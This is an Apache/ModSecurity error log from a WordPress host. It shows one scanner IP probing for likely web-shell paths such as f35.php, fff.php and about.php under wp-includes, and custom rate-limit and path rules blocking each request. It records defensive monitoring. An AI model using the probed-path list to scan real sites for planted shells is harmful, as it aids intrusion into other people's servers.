[Mon Apr 06 20:06:43.090770 2026] [:error] [pid 1827:tid 1846] [client 51.103.130.249:63819] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOh0-Veb6S_DnjZ2xEPXwAAAhE"]
[Mon Apr 06 20:06:44.099896 2026] [:error] [pid 38562:tid 38571] [client 51.103.130.249:63123] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOh1KeD6Ohe6wzRuy6E5wAAAUY"]
[Mon Apr 06 20:06:44.823010 2026] [:error] [pid 38562:tid 38567] [client 51.103.130.249:61831] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adOh1KeD6Ohe6wzRuy6E7AAAAUI"]
[Mon Apr 06 20:06:45.953791 2026] [:error] [pid 35687:tid 35734] [client 51.103.130.249:61831] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adOh1Z3LtDozV0i8BitnaQAAAEs"]
[Mon Apr 06 20:06:46.869035 2026] [:error] [pid 1827:tid 1832] [client 51.103.130.249:65250] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adOh1uVeb6S_DnjZ2xEPfAAAAgM"]
[Mon Apr 06 20:06:47.694791 2026] [:error] [pid 9442:tid 9453] [client 51.103.130.249:65293] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adOh10PsNnAJTnmz6sbMFwAAAQk"]
[Mon Apr 06 20:06:49.100551 2026] [:error] [pid 9442:tid 9463] [client 51.103.130.249:63110] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adOh2UPsNnAJTnmz6sbMIQAAARM"]
[Mon Apr 06 20:06:50.037964 2026] [:error] [pid 9442:tid 9468] [client 51.103.130.249:64398] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "adOh2kPsNnAJTnmz6sbMJwAAARg"]
[Mon Apr 06 20:06:51.330474 2026] [:error] [pid 35686:tid 35708] [client 51.103.130.249:61862] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "adOh28MKdea6oORd2fzUiAAAAAw"]
[Mon Apr 06 20:06:52.332875 2026] [:error] [pid 35688:tid 35753] [client 51.103.130.249:65241] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "adOh3OZ85qg4jLsRpQypWQAAAIM"]
[Mon Apr 06 20:06:53.748870 2026] [:error] [pid 9442:tid 9458] [client 51.103.130.249:64354] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "adOh3UPsNnAJTnmz6sbMQwAAAQ4"]
[Mon Apr 06 20:06:54.983801 2026] [:error] [pid 9413:tid 9417] [client 51.103.130.249:64367] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "adOh3nllvEK3chn01wHCQgAAAYI"]
[Mon Apr 06 20:06:56.536019 2026] [:error] [pid 9442:tid 9459] [client 51.103.130.249:63866] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "adOh4EPsNnAJTnmz6sbMTAAAAQ8"]
[Mon Apr 06 20:06:57.353160 2026] [:error] [pid 9442:tid 9448] [client 51.103.130.249:63821] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "adOh4UPsNnAJTnmz6sbMUwAAAQQ"]
[Mon Apr 06 20:06:58.686872 2026] [:error] [pid 1827:tid 1837] [client 51.103.130.249:65314] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "adOh4uVeb6S_DnjZ2xEPlAAAAgg"]
[Mon Apr 06 20:07:08.165325 2026] [autoindex:error] [pid 10280:tid 10300] [client 51.103.130.249:65296] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 20:07:09.696671 2026] [autoindex:error] [pid 10280:tid 10303] [client 51.103.130.249:65296] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 20:07:15.700482 2026] [:error] [pid 10280:tid 10299] [client 51.103.130.249:65296] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adOh818QUJkf8g-BFfP2FwAAAdA"]
[Mon Apr 06 20:07:16.920499 2026] [:error] [pid 9413:tid 9430] [client 51.103.130.249:63134] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adOh9HllvEK3chn01wHCUQAAAY8"]
[Mon Apr 06 20:07:18.189503 2026] [:error] [pid 9442:tid 9464] [client 51.103.130.249:64337] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adOh9kPsNnAJTnmz6sbMmgAAARQ"]
[Mon Apr 06 20:07:19.369905 2026] [:error] [pid 9442:tid 9464] [client 51.103.130.249:63829] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adOh90PsNnAJTnmz6sbMpgAAARQ"]
[Mon Apr 06 20:07:20.479136 2026] [:error] [pid 1827:tid 1843] [client 51.103.130.249:65248] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adOh-OVeb6S_DnjZ2xEPtgAAAg4"]
[Mon Apr 06 20:07:21.861133 2026] [:error] [pid 1827:tid 1842] [client 51.103.130.249:63879] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adOh-eVeb6S_DnjZ2xEPuQAAAg0"]
[Mon Apr 06 20:07:23.245680 2026] [:error] [pid 9442:tid 9453] [client 51.103.130.249:64373] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adOh-0PsNnAJTnmz6sbMswAAAQk"]
[Mon Apr 06 20:07:24.840989 2026] [:error] [pid 35686:tid 35707] [client 51.103.130.249:64419] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adOh_MMKdea6oORd2fzUogAAAAs"]
[Mon Apr 06 20:07:25.946976 2026] [:error] [pid 35688:tid 35774] [client 51.103.130.249:65246] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adOh_eZ85qg4jLsRpQypjQAAAJg"]
[Mon Apr 06 20:07:27.036719 2026] [:error] [pid 35688:tid 35751] [client 51.103.130.249:64439] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adOh_-Z85qg4jLsRpQyplQAAAIE"]
[Mon Apr 06 20:07:28.031643 2026] [:error] [pid 35687:tid 35733] [client 51.103.130.249:65318] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adOiAJ3LtDozV0i8BitnfgAAAEo"]
[Mon Apr 06 20:07:29.271136 2026] [:error] [pid 10280:tid 10292] [client 51.103.130.249:64329] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adOiAV8QUJkf8g-BFfP2OAAAAck"]
[Mon Apr 06 20:07:30.025741 2026] [:error] [pid 38562:tid 38586] [client 51.103.130.249:65339] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about2.php"] [unique_id "adOiAqeD6Ohe6wzRuy6FJQAAAVU"]
[Mon Apr 06 20:07:32.066624 2026] [:error] [pid 35686:tid 35703] [client 51.103.130.249:63115] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about2.php"] [unique_id "adOiBMMKdea6oORd2fzUvAAAAAc"]
[Mon Apr 06 20:07:32.993516 2026] [:error] [pid 38562:tid 38582] [client 51.103.130.249:65264] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about2.php"] [unique_id "adOiBKeD6Ohe6wzRuy6FKwAAAVE"]
[Mon Apr 06 20:07:33.892221 2026] [:error] [pid 38562:tid 38585] [client 51.103.130.249:64320] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about2.php"] [unique_id "adOiBaeD6Ohe6wzRuy6FMAAAAVQ"]
[Mon Apr 06 20:07:34.673117 2026] [:error] [pid 35688:tid 35755] [client 51.103.130.249:65250] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adOiBuZ85qg4jLsRpQypnwAAAIU"]
[Mon Apr 06 20:07:35.343514 2026] [:error] [pid 10280:tid 10295] [client 51.103.130.249:65256] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adOiB18QUJkf8g-BFfP2PgAAAcw"]
[Mon Apr 06 20:07:36.436607 2026] [:error] [pid 9442:tid 9445] [client 51.103.130.249:63129] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adOiCEPsNnAJTnmz6sbM5QAAAQE"]
[Mon Apr 06 20:07:37.184589 2026] [:error] [pid 35688:tid 35767] [client 51.103.130.249:63147] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adOiCeZ85qg4jLsRpQypogAAAJE"]
[Mon Apr 06 20:07:38.345788 2026] [:error] [pid 10280:tid 10298] [client 51.103.130.249:64441] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adOiCl8QUJkf8g-BFfP2QwAAAc8"]
[Mon Apr 06 20:07:39.332450 2026] [:error] [pid 38562:tid 38583] [client 51.103.130.249:63848] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adOiC6eD6Ohe6wzRuy6FQgAAAVI"]
[Mon Apr 06 20:07:40.663760 2026] [:error] [pid 1827:tid 1851] [client 51.103.130.249:65234] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adOiDOVeb6S_DnjZ2xEP0wAAAhY"]
[Mon Apr 06 20:07:41.809222 2026] [:error] [pid 35688:tid 35757] [client 51.103.130.249:64324] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adOiDeZ85qg4jLsRpQyprAAAAIc"]
[Mon Apr 06 20:07:43.027652 2026] [:error] [pid 1827:tid 1845] [client 51.103.130.249:65322] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adOiD-Veb6S_DnjZ2xEP1gAAAhA"]
[Mon Apr 06 20:07:45.447647 2026] [:error] [pid 9442:tid 9451] [client 51.103.130.249:64435] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adOiEUPsNnAJTnmz6sbM-wAAAQc"]
[Mon Apr 06 20:07:46.795519 2026] [:error] [pid 38562:tid 38575] [client 51.103.130.249:63102] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adOiEqeD6Ohe6wzRuy6FSAAAAUo"]
[Mon Apr 06 20:07:47.982907 2026] [:error] [pid 9442:tid 9444] [client 51.103.130.249:65275] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adOiE0PsNnAJTnmz6sbNDwAAAQA"]
[Mon Apr 06 20:07:48.996550 2026] [:error] [pid 10280:tid 10291] [client 51.103.130.249:63901] [client 51.103.130.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adOiFF8QUJkf8g-BFfP2VAAAAcg"]
[Mon Apr 06 20:07:49.724030 2026] [:error] [pid 9442:tid 9459] [client 51.103.130.249:63153] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adOiFUPsNnAJTnmz6sbNHQAAAQ8"]
[Mon Apr 06 20:07:50.470837 2026] [:error] [pid 10280:tid 10305] [client 51.103.130.249:63881] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adOiFl8QUJkf8g-BFfP2XAAAAdY"]
[Mon Apr 06 20:07:51.780617 2026] [:error] [pid 9442:tid 9449] [client 51.103.130.249:64401] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adOiF0PsNnAJTnmz6sbNKwAAAQU"]
[Mon Apr 06 20:07:52.707830 2026] [:error] [pid 35688:tid 35772] [client 51.103.130.249:64403] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adOiGOZ85qg4jLsRpQyp7QAAAJY"]
[Mon Apr 06 20:07:54.345583 2026] [:error] [pid 10280:tid 10299] [client 51.103.130.249:63041] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adOiGl8QUJkf8g-BFfP2cAAAAdA"]
[Mon Apr 06 20:07:55.602590 2026] [:error] [pid 9442:tid 9455] [client 51.103.130.249:65247] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adOiG0PsNnAJTnmz6sbNNAAAAQs"]
[Mon Apr 06 20:07:57.033088 2026] [:error] [pid 9442:tid 9445] [client 51.103.130.249:61768] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adOiHUPsNnAJTnmz6sbNQgAAAQE"]
[Mon Apr 06 20:07:57.897001 2026] [:error] [pid 35688:tid 35754] [client 51.103.130.249:64392] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adOiHeZ85qg4jLsRpQyqBAAAAIQ"]
[Mon Apr 06 20:07:59.918061 2026] [:error] [pid 38562:tid 38585] [client 51.103.130.249:64417] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "adOiH6eD6Ohe6wzRuy6FUAAAAVQ"]
[Mon Apr 06 20:08:01.072074 2026] [:error] [pid 10280:tid 10286] [client 51.103.130.249:63105] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "adOiIV8QUJkf8g-BFfP2dwAAAcM"]
